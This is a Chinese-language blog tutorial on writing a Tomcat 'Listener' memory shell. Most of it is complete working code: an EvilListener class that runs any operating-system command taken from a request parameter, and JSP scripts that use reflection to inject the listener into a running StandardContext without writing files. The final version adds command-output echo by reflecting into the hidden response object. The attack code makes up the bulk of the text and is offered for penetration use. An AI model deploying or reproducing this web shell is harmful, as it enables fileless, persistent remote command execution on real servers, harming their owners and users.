Java内存马-Listener
Contents
准备
先了解一下listener
监听器接口 | 作用 |
---|---|
ServletContextListener |
Web应用初始化/销毁时执行(应用生命周期) |
HttpSessionListener |
会话创建/销毁(登录等) |
ServletRequestListener |
每次请求开始/结束触发 |
ServletContextAttributeListener |
监听 context 属性变化 |
HttpSessionAttributeListener |
监听 session 属性变化 |
ServletRequestAttributeListener |
监听 request 属性变化 |
通常渗透中最常用的是:
ServletRequestListener
:每个请求都会触发一次;ServletContextListener
:Web 应用启动阶段触发一次,非常适合注入。
listener内存马
package memshell;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpServletRequest;
import java.io.InputStream;
@WebListener
public class EvilListener implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
try {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd3");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
InputStream in = p.getInputStream();
int ch;
while ((ch = in.read()) != -1) {
sre.getServletRequest().getServletContext().log(String.valueOf((char) ch));
}
in.close();
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
// 不处理
}
}
以上是注解注册,也可web.xml注册
<listener>
<listener-class>your.package.EvilListener</listener-class>
</listener>
debug
开始debug
往上跟一步,这里很清晰
跟进getApplicationEventListeners(),这个函数是org/apache/catalina/core/StandardContext.java的
是从这个字段拿到listener
跟进add
这里的入参是object,直接调这个函数即可
最简单的一集
编写脚本
无回显
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="javax.servlet.ServletContext" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="memshell.EvilListener" %>
<%!
public class EvilListener implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
try {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd4");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
InputStream in = p.getInputStream();
int ch;
while ((ch = in.read()) != -1) {
sre.getServletRequest().getServletContext().log(String.valueOf((char) ch));
}
in.close();
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
// 不处理
}
}
%>
<%
try {
// 获取 servletContext 对象
ServletContext servletContext = request.getSession().getServletContext();
// 通过反射获取 ApplicationContext(org.apache.catalina.core.ApplicationContext)
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
// 通过 ApplicationContext 获取 StandardContext(代表当前 webapp)
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
standardContext.addApplicationEventListener(new EvilListener());
out.println("Inject success.");
} catch (Exception e) {
e.printStackTrace();
}
%>
回显功能
listener型内存马ServletRequestEvent
只有 ServletRequest
,没有直接提供 ServletResponse
,所以无法回显…吗?
当前环境是 Tomcat,ServletRequestEvent
是监听器(Listener)触发时传进来的对象,它内部持有一个 ServletRequest
对象,在 Tomcat 下,这个对象的真实类型是 RequestFacade
,RequestFacade里有response
下图是我们上面debug的第一个函数,调用ServletRequestEvent构造函数的地方传入的就是RequestFacade
你可以通过反射从 request
对象中获取绑定的 response
对象。
脚本
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="javax.servlet.ServletContext" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="memshell.EvilListener" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%!
public class EvilListener implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
try {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd4");
if (cmd != null && !cmd.trim().isEmpty()) {
// 1. 执行命令
Process process = Runtime.getRuntime().exec(cmd);
Scanner scanner = new Scanner(process.getInputStream()).useDelimiter("\\A");
String output = scanner.hasNext() ? scanner.next() : "";
// 2. 利用反射获取 response 对象
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Object innerRequest = reqF.get(request);
Field respF = innerRequest.getClass().getDeclaredField("response");
respF.setAccessible(true);
Object response = respF.get(innerRequest);
Method getWriter = response.getClass().getMethod("getWriter");
PrintWriter writer = (PrintWriter) getWriter.invoke(response);
// 3. 回显到页面
writer.write(output);
writer.flush();
writer.close();
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
// 无需实现
}
}
%>
<%
try {
// 获取 servletContext 对象
ServletContext servletContext = request.getSession().getServletContext();
// 通过反射获取 ApplicationContext(org.apache.catalina.core.ApplicationContext)
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
// 通过 ApplicationContext 获取 StandardContext(代表当前 webapp)
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
standardContext.addApplicationEventListener(new EvilListener());
out.println("Inject success.");
} catch (Exception e) {
e.printStackTrace();
}
%>
成功回显